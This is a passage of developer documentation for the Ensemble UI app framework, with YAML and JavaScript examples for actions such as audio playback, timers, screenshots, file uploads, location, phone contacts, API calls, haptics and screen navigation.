Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/86fba216-4f96-408b-abff-d3ddcfbdcf49) example. + +--- + +# stopAudio + +The stopAudio action allows users to stop a already playing audio file + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------- | +| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | + +**Example** + +```yaml +View: + header: + title: Audio Player + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Play Audio + onTap: + playAudio: + id: My Audio + source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Play Audio 2 + onTap: + playAudio: + id: My Audio + source: audio.mp3 + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Pause Audio + onTap: + pauseAudio: + id: My Audio + + - Button: + label: Stop Audio + onTap: + stopAudio: + id: My Audio + + - Button: + label: Resume Audio + onTap: + resumeAudio: + id: My Audio + + - Button: + label: Seek Audio at 4 second + onTap: + seekAudio: + id: My Audio + position: 20 # in seconds +``` + +--- + +# stopTimer + +stopTimer action allows developers to halt or pause a running timer within the app, providing control over time-sensitive processes and facilitating efficient handling of time-related events, enhancing user interactions and application behavior. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------------------- | +| id | string | Stop the timer with this ID if it is running | + +**Example** + + + +```yaml +Joke: + body: + Column: + styles: { gap: 10 } + children: + - Text: + text: Click the button to show a Chuck Norris joke every 10 seconds. Click Stop when you have enough. + - Row: + styles: { gap: 10 } + children: + - Button: + label: Tell me a joke + onTap: + startTimer: + id: jokeTimer + options: + isGlobal: true + repeat: true + repeatInterval: 10 + startAfter: 0 + onTimer: + invokeAPI: + name: jokeAPI + onResponse: |- + //@code + output.text = response.body.value; + + - Button: + label: Stop + onTap: + stopTimer: + id: jokeTimer + - Text: + id: output +``` + + + +see the complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/86fba216-4f96-408b-abff-d3ddcfbdcf49?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) to understand usage + +--- + +# takeScreenshot + +takeScreenshot action allows you to capture a screenshot of read-only widgets using its widgetId. The screenshot is saved to the gallery on mobile platforms or downloaded directly on the web, while also providing the image bytes for further use. It's an efficient solution for exporting visual content in high quality. +### Properties + +| Property | Type | Description | +| :--------- | :----- | :----------------------------------------------------------------------------------------- | +| widgetId | string | The ID of the target widget to be captured as a screenshot. | +| onSuccess | action | Action to be excecuted on successful screenshot capture. | +| onError | action | Action to be excecuted on error during screenshot capture.| + +### Event Data + +When the `onSuccess` action is executed, the following data is available under `event.data`: + +- **imageBytes**: Provides bytes of the screenshot. +- **size**: Provides total size of image in bytes, e.g. if screenshot has size of 1KB then `size` will return 1024. +- **dimensions**: Provides dimentions of the image as `dimensions.width` and `dimensions.height` + +When the `onError` action is executed, the following data is available under `event.data`: + +- **error**: Error message describing the issue. +- + +**Example** + +```yaml +View: + styles: + scrollableView: true + header: + title: "Action: takeScreenshot" + + Column: + styles: + gap: 16 + padding: 24 + children: + - Column: + id: section1 + styles: + gap: 16 + children: + - Button: + label: Test Button 1 + - Button: + label: Test Button 2 + # Take Screenshot using `takeScreenshot` action + - Button: + label: Take Screenshot + onTap: + takeScreenshot: + widgetId: ${section1} + onSuccess: + executeCode: + body: | + console.log(event.data.imageBytes) + console.log(event.data.size) + console.log(event.data.dimensions) + + # Take Screenshot using ensemble object in JavaScript `ensemble.takeScreenshot` + - Button: + label: Take Screenshot with JS + onTap: + executeCode: + body: | + ensemble.takeScreenshot({widgetId: section1}) +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/C3zALhZvHQHyFISY9Yvo) + +--- + +# uploadFiles + +uploadFiles action allows users to select and upload files from their device to the app, enabling easy data transfer and content sharing, supporting various file formats, and enhancing the app's versatility and user engagement. + +### Properties + +| Property | Type | Description | +| :--------- | :----- | :----------------------------------------------------------------------------------------- | +| id | string | Give the uploadApi an ID, allows you to bind to its result. e.g. ${apiId.body...} | +| uploadApi | string | Enter the name of your defined API | +| onComplete | action | Execute another Action upon successful upload of files | +| onError | action | Execute an Action when uploader fails with error(s) | +| inputs | array | Define the list of input names that upload API accepts | +| fieldName | string | Field name that your server is expecting (default files) | +| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | +| options | object | [see properties](#propertiesoptions) | + +#### properties.option + +| Property | Type | Description | +| :--------------------- | :------ | :---------------------------------------------------------------------------------------------------------------------- | +| maxFileSize | integer | File size that is allowed (default 100 mb), If multiple is allow then sum of all files | +| overMaxFileSizeMessage | string | Error message to show when selected files size is above maxFileSize. | +| backgroundTask | boolean | If set true, uploading will be done in background. | +| showNotification | boolean | If set true, progress will be show in notification bar. | +| networkType | object | An enumeration of network types. `connected` `metered` `not_required` `not_roaming` `unmetered` `temporarily_unmetered` | + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Optional - set the header for the screen + header: + title: "Action: uploadFiles" + + # Specify the body of the screen + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: | + Use the `uploadFiles` action upload files to specify `uploadApi`. + + Then use the `onComplete` properties to execute other actions when upload is successful. + + - Button: + label: Pick Files + onTap: + pickFiles: + id: picker + + - Button: + label: Upload Picked files + onTap: + executeCode: + body: | + //@code + loading.visible = true; + + onComplete: + uploadFiles: + id: fileUploader + files: ${picker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + loading.visible = false; + onError: | + //@code + + loading.visible = false; + maxFileSize: 100 + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${fileUploader.body} + + - Progress: + display: circular + id: loading + visible: false + + - Divider + + - Markdown: + text: | + Chain multiple file actions to pick files and upload them in one go + - Using `pickFiles` to pick file based on platform picker + - Using `uploadFiles` to upload selected files from file picker + + - Button: + label: Pick & Upload + onTap: + pickFiles: + id: filePicker + onComplete: + uploadFiles: + files: ${filePicker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + ensemble.debug('File uploaded'); + + - Divider: + + - Markdown: + text: | + `pickFiles` also comes with option such as: + + - `allowMultiple` : To allow muliple file selection from gallery picker default (false) + - `allowCompression` : It will allow media to apply the default OS compression (default True) + - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... + + `uploadFiles` also comes with option such as: + + - `files` : Pass the files that needs to upload e.g ${filePicker.files} + + - `fieldName` : Field name that your server is expecting. (default files). + + - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files + - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. + + - Row: + styles: { mainAxis: spaceBetween, crossAxis: center } + children: + - Button: + label: Multiple Images + onTap: + pickFiles: + id: images + allowMultiple: true + allowCompression: false + allowedExtensions: + - jpg + - png + + - Text: + text: ${images.files.length} + - Button: + label: Upload Multiple images + onTap: + uploadFiles: + id: imageUploader + uploadApi: fileUploadApi + files: ${images.files} + fieldName: files + inputs: + url: https://en09cdal5asztm.x.pipedream.net + maxFileSize: 100 # in kb + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${imageUploader.body} + - Divider + + - Markdown: + text: | + ### Background file upload + - Pick and Upload files in background. + - In unmetered connection (wifi/lan) + - Also show notification + - *Not supported on web / studio. + + - Button: + label: Background upload + onTap: + pickFiles: + id: bgFilePicker + onComplete: + uploadFiles: + uploadApi: fileUploadApi + files: ${bgFilePicker.files} + inputs: + url: https://en09cdal5asztm.x.pipedream.net + id: bgUploader + options: + backgroundTask: true + showNotification: true + networkType: unmetered + + - Divider: + + - Markdown: + text: | + _Side Note: If you are using default uploadURL it's using RequestBin_ + + _RequestBin has maxFileSize of __100 kb__ above it will fail._ + + _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ + + - Divider: + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# Formatter + +Ensemble provide convenience formatter utilities for handling date/time and common tasks. + +Access these formatters with prefix `ensemble.formatter.*`. + +### prettyDate() +Accepts an ISO date-time string and output the most common user-friendly format based on the user's detected locale. +- `ISO string`: the string to convert to a user-friendly date string. + +```yaml +Text: + # output "Dec 2, 2022" or "2 Dec 2022" depending on detected locale. + text: ${ensemble.formatter.prettyDate("2022-12-02T14:20:05-0700")} + +Button: + onTap: |- + // same output in Javascript. + console.log(ensemble.formatter.prettyDate("2022-12-02")); +``` +For a more complete Date operations, see [Date](../javascript-reference/Date.md) + +### prettyTime() +Accepts an ISO date-time string and outputs the most common user-friendly time format based on the user's detected locale. +- ISO string: The string to convert to a user-friendly time string. + +```yaml +Text: + # output "2:20 PM" or "14:20" depending on detected locale. + text: ${ensemble.formatter.prettyTime("2022-12-02T14:20:05-0700")} +``` + +### prettyDateTime() +Accepts an ISO date-time string and outputs the most common user-friendly date and time format based on the user's detected locale. +- ISO string: The string to convert to a user-friendly date and time string. + +```yaml +Text: + # output "Dec 2, 2022, 2:20 PM" or "2 Dec 2022, 14:20" depending on detected locale. + text: ${ensemble.formatter.prettyDateTime("2022-12-02T14:20:05-0700")} +``` + +### customDateTime() +Accepts an ISO date-time string and a pattern that, then outputs the date and time formatted according to the provided pattern (user locale will be ignored). +- ISO string: The string to convert to a formatted date and time string. +- Pattern: The pattern to use for formatting the date and time string. + +```yaml +Text: + # output 2022-12-02 14:20" for all locales + text: ${ensemble.formatter.customDateTime('2022-12-02T14:20:05-0700', 'yyyy-MM-dd HH:mm')} +``` + +--- + + +# Device + +Ensemble provides convenient access to device information and capabilities. This includes device information, such as the device model, operating system, and screen size. + +Access these properties/methods with the prefix `ensemble.device.*`. + +--- + +# checkPermission + +`checkPermission` is designed to check the permission status. It includes components for checking notification, location, contacts, and camera permissions. + +**Inputs** +`type`: applicable types are `notification`, `location`, `contacts`, and `camera`. + +**Callbacks** +1. `onAuthorized`: Executes when the components permission to authorized. Updates the text of the component to "Authorized." + +2. `onDenied`: Executes when the components permission to denied. Updates the text of the component to "Denied." + +3. `onNotDetermined`: Executes when the components permission to not determined. Updates the text of the component to "Not Determined." + +```yaml +- Button: + label: Notification Permission + onTap: + checkPermission: + type: notification + onAuthorized: | + //@code + notificationStatus.text = "Authorized"; + console.log("onAuthorized called"); + onDenied: | + //@code + notificationStatus.text = "Denied" + console.log("onDenied called"); + onNotDetermined: | + //@code + notificationStatus.text = "Not Determined" + console.log("onNotDetermined called"); +``` +When a user taps the "Notification Permission" button, the app checks the notification permission status. Depending on the status, one of the specified callbacks (onAuthorized, onDenied, or onNotDetermined) is executed. + +--- + +# getLocation + +getLocation action enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location + +### Module (ensemble_location) +Enable Location service in Ensemble code + +By default, Ensemble does not include the location module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. + +* Search for this line and uncomment it: +``` +// import 'package:ensemble_location/location_manager.dart'; +``` + +* Search for this line and uncomment it: +``` + // GetIt.I.registerSingleton(LocationManagerImpl()); +``` + +* Search for this line and set it to true +``` + static const useLocation = false; +``` + +--- + +### Properties + +| Property | Type | Description | +| :----------------- | :----- | :---------------------------------------------------------------------------------------------------- | +| options | object | [see properties](#propertiesoptions) | +| onLocationReceived | action | Callback Action once we get the device location | +| onError | action | Callback Action if we are unable to get the device location. Reason is available under 'reason' field | + +#### properties.options + +| Property | Type | Description | +| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| recurring | boolean | Whether to continuously get the device location on this screen. Note that a screen can only have one recurring location listener. Adding multiple recurring location listeners will cancel the previous one. | +| recurringDistanceFilter | integer | If recurring, the minimum distance (in meters) the device has moved before new location is returned. (default: 1000 meters, minimum: 50 meters) | + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Optional - set the header for the screen + header: + title: "Action: getLocation" + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Get location via Action + styles: + font: subtitle + - Markdown: + text: Use `getLocation` Action to get the location, with the option to continuously get location change updates. + - Button: + label: Listen for location changes + onTap: + getLocation: + options: + recurring: true # while on this page, location changes will continue to execute onLocationReceived + recurringDistanceFilter: 50 # only dispatch if the new location is more than 50 meters away from the previous location + onLocationReceived: |- + //@code + status.text = 'Lat: ' + latitude + ', Lng: ' + longitude; + onError: |- + //@code + status.text = reason; + - Text: + id: status +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/uH9b2ZnmSS3HT7BsECu4?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# getPhoneContacts + +The `PhoneContacts` view is designed to retrieve and display phone contacts from Android and iOS physical devices or simulators. It includes a warning note, a button to fetch contacts, and a list view to display individual contact details. + +```yaml +- Button: + label: Get Phone Contacts + onTap: + getPhoneContacts: + id: phoneContactId + onSuccess: | + // ***code + console.log("Phone Number Fetched Successfully"); + ensemble.storage.set('contacts', event.data['contacts']); + + onError: | + // ***code + console.log("Something went wrong!"); +``` +The `onSuccess` and `onError` callbacks for the "Get Phone Contacts" button. In the success callback (onSuccess), the retrieved contacts are logged to the console and stored in the `ensemble.storage.contacts`. In the error callback (onError), a message is logged indicating an issue. + +```yaml +- ListView: + id: listView + styles: + expanded: true + item-template: + data: ${ensemble.storage.contacts} + name: contact + template: + UserContact: + inputs: + contact: ${contact} +``` +The `ListView` component displaying a list of contacts (ensemble.storage.contacts). It uses the `UserContact` custom widget template for each item in the list. + +```yaml +UserContact: + inputs: + - contact + styles: { gap: 10 } + onLoad: + getPhoneContactPhoto: + id: contactPhotoId + contactId: ${contact.id} + + # Using JS Code + + # //@code + # ensemble.getPhoneContactPhoto({ + # id: "contactPhotoId", + # contactId: contact.id + # }); + + body: + Column: + styles: { gap: 2 } + children: + - Row: + children: + - Image: + source: ${contactPhotoId.image} + width: 100 + height: 100 + fallback: ImageFallbackWidget + - Column: + styles: { gap: 2, margin: 10 } + children: + - Text: + textStyle: { fontWeight: bold, fontSize: 18 } + text: "${contact.displayName}" + - Text: + textStyle: { fontWeight: bold, fontSize: 18 } + text: "${getPhoneNumber(contact.phones)}" + - Shape: + styles: + height: 10 + - Divider: +``` +The `UserContact` component representing the structure for displaying an individual contact. It includes an `Image` and two `Text` components for displaying the contact's display image, name and phone number. The `getPhoneContactPhoto` action is used to get the contact photo with the contactId. + +```yaml +Global: | + //@code + + if (ensemble.storage.contacts == null) { + ensemble.storage.contacts = []; + } + + function getPhoneNumber(phones) { + if (phones.length > 0) { + return phones[0].number; + } else { + return ""; + } + } +``` +The global code block initializes `ensemble.storage.contacts` as an empty array if it's null. It also includes the `getPhoneNumber` function, which extracts the primary phone number from an array of phone numbers. + +--- + +# invokeAPI + +To check out examples of the invokeAPI action, go to the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e546b0d8-3220-4217-bd5c-181118154073). + +## API response object +Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | +| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | +| headers | array | Key value pairs of http response headers | +| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | + +## API/invokeAPI properties +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | +| name | String | Name of the API defined in the API section | +| inputs | Object | Key value pairs ofinputs to be passed to API definition | +| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | +| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | + +**invokeAPI** is used for calling an API. You can call an API on events such as a button tap or on screen load. First, you have to declare an API: + +```yaml +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +``` + +### Usage examples of InvokeAPI + +Now to call the API on screen load, use the `onLoad` property of the view, there are two ways to call invokeAPI as well + +##### 1. Using ensemble invokeAPI action. + + + +````yaml +View: + onLoad: + invokeAPI: + name: getPeople + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Text: + text: ${getPeople.body.results.length} records were retrieved from API + - Markdown: + text: | + Here's the API response body: + ``` + ${getPeople.body} + ``` + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +```` + + + +##### 2. Using JavaScript code block to execute invokeAPI action. + + + +````yaml +View: + onLoad: | + //@code + ensemble.invokeAPI("getPeople"); + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Text: + text: ${getPeople.body.results.length} records were retrieved from API + - Markdown: + text: | + Here's the API response body: + ``` + ${getPeople.body} + ``` + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +```` + + + +- **Its similar to previous only that we are now using Javascript code block**. + +To call an API on button tap, inside the body add a Button with `onTap` property: + + + +```yaml +View: + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Call API + onTap: + invokeAPI: + name: getPeople + - Column: + item-template: + data: ${getPeople.body.results} + name: item + template: + Text: + text: ${item.name.first} + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +``` + + + +## POST calls with input parameters + +You can also create a POST request and pass parameters to the API like this + + + +```yaml +View: + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Call API + onTap: + invokeAPI: + name: createToDo + inputs: + name: "some value" + onResponse: | + //@code + var id = response.body.records[0].id; + postStatus.text = 'Record created: ' + id; + - Text: + id: postStatus + +API: + createToDo: + inputs: + - name + uri: "https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb" + method: "POST" + body: + records: + - fields: + desc: "${name}" +``` + + + +## Handing errors + +To handle Errors, you can use the `onError` property: + + + +```yaml + - Text: + text: Handle error + - Button: + label: Call API + onTap: + invokeAPI: + name: createToDoError + onResponse: | + //@code + apiStatus.text = 'Call was successful'; + //you have the response object available here so you access its properties. See top of the page for response object + console.log(response.body);//this will print out the full body of the response object. See above for all the properties of a response object + onError: | + //@code + apiStatus.text = 'API returned an error'; + //you have the response object available here so you access its properties. See top of the page for response object + console.log(response.statusCode);//this will print out the http status code of the response object. See above for all the properties of a response object + - Text: + id: apiStatus + +API: + createToDoError: + inputs: + - name + uri: 'https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb' + method: 'POST' + body: + records: "this is not what the API expects" +``` + + + +## Use in code + +You can also call an API in code block. + + + +```yaml + - Button: + label: Call API + onTap: + executeCode: + body: | + //@code + + // no inputs + ensemble.invokeAPI("getNewYorkTime"); + - Text: + visible: ${getNewYorkTime.body != null} + text: Current time in NYC is ${getNewYorkTime.body.datetime} + +API: + getNewYorkTime: + uri: https://worldtimeapi.org/api/timezone/America/New_York + method: GET +``` + + + +## Properties for invokeAPI + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | +| name | String | Name of the API defined in the API section | +| inputs | Object | Key value pairs ofinputs to be passed to API definition | +| onResponse | Action | The action to handle the response | +| onError | Action | The action to handle errors | + +Details about API [here](/pages/build/user-interface/1-page-structure.md) + +--- + +# invokeHaptic + +invokeHaptic action allows users to play haptics on the device allowing better UX. It supports 5 haptics namely heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate. They are listed in decreasing order of intensity +and vibrate does a short vibrate pulse. It also supports playing haptic by JavaScript code and also has additional parameters like onTapHaptic or onChangeHaptic added to multiple widgets where haptic would be required. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------- | +| type | enum | The type of haptic to perform. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| onComplete| action | Execute another Action post executing the haptic | + +**Example** + + + +```yaml +View: + header: + title: Haptic + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Using Action + onTap: + invokeHaptic: + type: lightImpact + onComplete: | + //@code + console.log("Haptic completed") + - Button: + label: Using JavaScript + onTap: | + //@code + invokeHaptic({type: lightImpact}) + - Button: + label: Using methods + onTapHaptic: lightImpact + onTap: | + //@code + console.log("Button Press") +``` + +--- + +# navigateBack + +`navigateBack` action allows users to go back to the previous screen or page within the app's navigation stack, enhancing user experience and facilitating smooth app navigation. Navigating back to the previous screen if possible. The current screen will be removed from the navigation history. This also works for a modal screen. + +**Example** + +Using navigateBack is straight forward. In ensemble when you visit a screen using [navigateScreen]() by default there is a back button in the header ( if there is a header ). Otherwise you can also associate navigateBack action with either a custom button or icon as you wish. + + + +```yaml +View: + title: "Action: navigateBack" + styles: + scrollableView: true + + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: You can open a new screen above the current one and use "navigateScreen" to navigate back to this main screen. + - Button: + label: Show Detail Page + onTap: + navigateModalScreen: + name: "Action: navigateBackModal" +``` + + + +can see complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XjvL2XseLnRvYO4FS82e?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# navigateModalScreen + +navigateModalScreen action enables users to open a specific screen or page as a modal overlay, creating a temporary and focused view to capture user input or display additional content without losing context of the main app flow. + +### Properties + +| Property | Type | Description | +| :------------- | :----- | :------------------------------------------------------- | +| name | string | Enter the Name or ID of your screen | +| inputs | object | Specify the key/value pairs to pass into the next Screen | +| onModalDismiss | action | Execute an Action when the modal screen is dismissed | + +**Note:** To close the modal from within the modal screen, just call the [navigateBack](7-navigateBack.md) action + +**Example** + + + +```yaml +View: + title: "Action: navigateModalScreen" + styles: + scrollableView: true + + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: You can open new screen on above the main screen using action `navigateModalScreen` + - Button: + label: Show Modal + onTap: + navigateModalScreen: + name: Actions & events + - Markdown: + text: You can navigateModalScreen from code blocks using `ensemble.navigateModalScreen('ScreenName');`. + - Button: + label: Show Modal Using Code + onTap: + executeCode: + body: | + //@code + + // no inputs + ensemble.navigateModalScreen('Actions & events'); + //with inputs + //ensemble.navigateModalScreen({name: 'Actions & events',inputs:{input1: 'abc', input2: 'ced'}} ); +``` + + + +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/67ICgJIX0McKswXCybb0?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# navigateScreen + +navigateScreen action allows users to transition to a specific screen or page within the app, facilitating seamless navigation and enhancing user interaction with different sections of the application. + +Like any other action, navigateScreen may be called in YAML or in the JS code. + +### Properties + +| Property | Type | Description | +| :------------- | :----- | :-------------------------------------------------------------------------------------- | +| name | string | Enter the Name or ID of your Screen | +| inputs | object | Specify the key/value pairs to pass into the next Screen | +| options | object | [see properties]() | +| onNavigateBack | action | triggers when users returns back to a screen it previously visited using navigateScreen | +| transition | Map | [Screen transition](#screen-transition) , [Screen transition example](#screen-transition-example) + +#### Screen Transition +Animate screen transition from one to another. + +| Property | Type | Description | +| :--- | :--- | :---| +| type | string | [transition type](#transition-type) +| alignment | string | [transition alignment](#transition-alignment) +| duration | integer| duration of transition in millisecond + +#### transition-type +| name | +| :--- | +|fade | +|rightToLeft | +|leftToRight | +|topToBottom | +|bottomToTop | +|scale | +|rotate | +|size | +|rightToLeftWithFade | +|leftToRightWithFade | +|leftToRightPop | +|rightToLeftPop | +|topToBottomPop | +|bottomToTopPop | + +#### transition-alignment +|name| +|:---| +|topLeft| +|topCenter| +|topRight| +|centerLeft| +|center| +|centerRight| +|bottomLeft| +|bottomCenter| +|bottomRight| + +#### properties.options + +| Property | Type | Description | +| :------------------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| replaceCurrentScreen | boolean | If true, the new screen will replace the current screen on the navigation history. Navigating back from the new screen will skip the current screen. | +| clearAllScreens | boolean | If true, clear out all existing screens in the navigation history. This is useful when navigating to a Logout or similar page where users should not be able to go back to the prior screens. | + +**Example: Calling navigateScreen - Detailed Examples for YAML and JS** + + + +```yaml +View: + title: "Action: navigateScreen" + styles: + scrollableView: true + + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: You can navigate to another screen using action `navigateScreen` + - Button: + label: Navigate to Home + onTap: + navigateScreen: + name: Home + + - Markdown: + text: You can navigateScreen from code blocks using `ensemble.navigateScreen('ScreenName');`. + - Button: + label: Navigate to Home using code + onTap: + executeCode: + body: | + //@code + ensemble.navigateScreen('Home'); + + - Divider + + - Markdown: + text: | + #### Pass inputs + You have the option of passing inputs to the target screen. + + - TextInput: + id: messageInput + label: Message to pass + value: Hello there + + - Button: + label: Navigate and pass inputs + onTap: + navigateScreen: + name: "Action: navigateScreen inputs demo" + inputs: + message: ${messageInput.value} + + - Button: + label: Navigate and pass inputs using code + onTap: + executeCode: + body: | + //@code + ensemble.navigateScreen({ + "name": "Action: navigateScreen inputs demo", + "inputs": { + "message": messageInput.value + } + }); + + - Divider + + - Markdown: + text: | + #### options: clearAllScreens + By default, Ensemble retains your previous screens. On browser, user can press back button and get the previous view. + + When you need to remove all the previous screens from the history stack, as in a logout scenario, use `clearAllScreens: true`. + + - Button: + label: Navigate and clear all screen history + onTap: + navigateScreen: + name: Home + options: + clearAllScreens: true + + - Divider + + - Markdown: + text: | + #### options: replaceCurrentScreen + Sometimes when navigating to a new screen, you may not want the user to go back to the current screen. An example is after logging in, hitting back should not take the user back to the login screen. Use the flag `replaceCurrentScreen: true` to remove the current screen from the history stack. + + - Button: + label: Navigate to new screen and replace the current screen + onTap: + navigateScreen: + name: Home + options: + replaceCurrentScreen: true +``` + + + +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kgGUzKx0YiIWp96auaEO?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +**Example: Calling navigateScreen in Javascript** + +```javascript +//navigating to a screen without any options +ensemble.navigateScreen('My Screen'); +//navigating to a screen with options +ensemble.navigateScreen({name: 'My Screen',options: {replaceCurrentScreen: true}} +``` + +### onNavigateBack + +We can also make use of onNavigateBack in our navigateScreen action to achieve certain goals like calling an API when returning to screen, updating something which was modified on visited screen etc. + +**Example** +Below is only a snippet from a use case where we can perform any action inside the onNavigateBack event. We can call an API or update any particular parameter we want + +```yaml +navigateScreen: + name: "${booking.completion_status == 'confirmed' ? 'ConfirmedTrip' : 'ConfirmTripRequest'}" + inputs: + booking: ${booking} + onNavigateBack: |- + ensemble.debug("got back") +``` + +Another example where using in context of a button we are updating certain local storage items inside the context of the onNavigateBack + +```yaml +- Button: + label: Categories + styles: + outline: true + padding: 0 + labelStyle: + fontSize: 12 + color: 4288060321 + endingIcon: + name: chevron_right + color: 4288060321 + size: 16 + onTap: null + navigateScreen: + name: Spending + onNavigateBack: |- + //@code + getCategoriesAggregate(ensemble.storage.timeSpan); + +``` + +Note: here we are chaining actions onTap -> navigateScreen -> onNavigateBack etc. Also getCategories(...) is a function used to update certain local storage items. + +- We can also pass data from the visited screen to current screen using navigateBack action. let see an example for that as well. + +```yaml +View: + header: + title: Home + body: + Button: + label: Checkout Ensemble Kitchen Sink + onTap: + navigateBack: + data: # optional, can be simple or complex + var1: 1 + var2: "s t r i n g" +``` + +on visited screen using navigateBack we pass certain variables which can be accessed on previous screen using onNavigateBack event. + +```yaml +View: + header: + title: Home + body: + Button: + label: Checkout Ensemble Kitchen Sink + onTap: + navigateScreen: + name: nextScreen + onNavigateBack: |- + //@code + console.log("navigated back to main screen"); + console.log(event.data); +``` + +#### Screen Transition Example + +```yaml +View: + header: + title: Screen Transition + + body: + Button: + label: Navigate transition + onTap: + navigateScreen: + name: + transition: + type: rotate + duration: 1000 + alignment: center +``` + +--- + +# notification + +notifications action provides a comprehensive and customizable solution for managing notifications within the app, including handling incoming notifications, displaying them to users, and implementing notification-related functionalities, enhancing user experience and interaction with timely updates and alerts. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :-------------------------------------------- | +| onTap | action | Execute an Action on notification is tap. | +| onReceive | action | Execute an Action on notification is receive. | + +--- + +# openCamera + +`OpenCamera` action enables users to access their device's camera, capturing images or videos directly from the app, enhancing interactivity and enabling seamless integration of media functionalities within the application. With `id` property we can bind results of camera. Then use the `onComplete` properties to execute other actions after 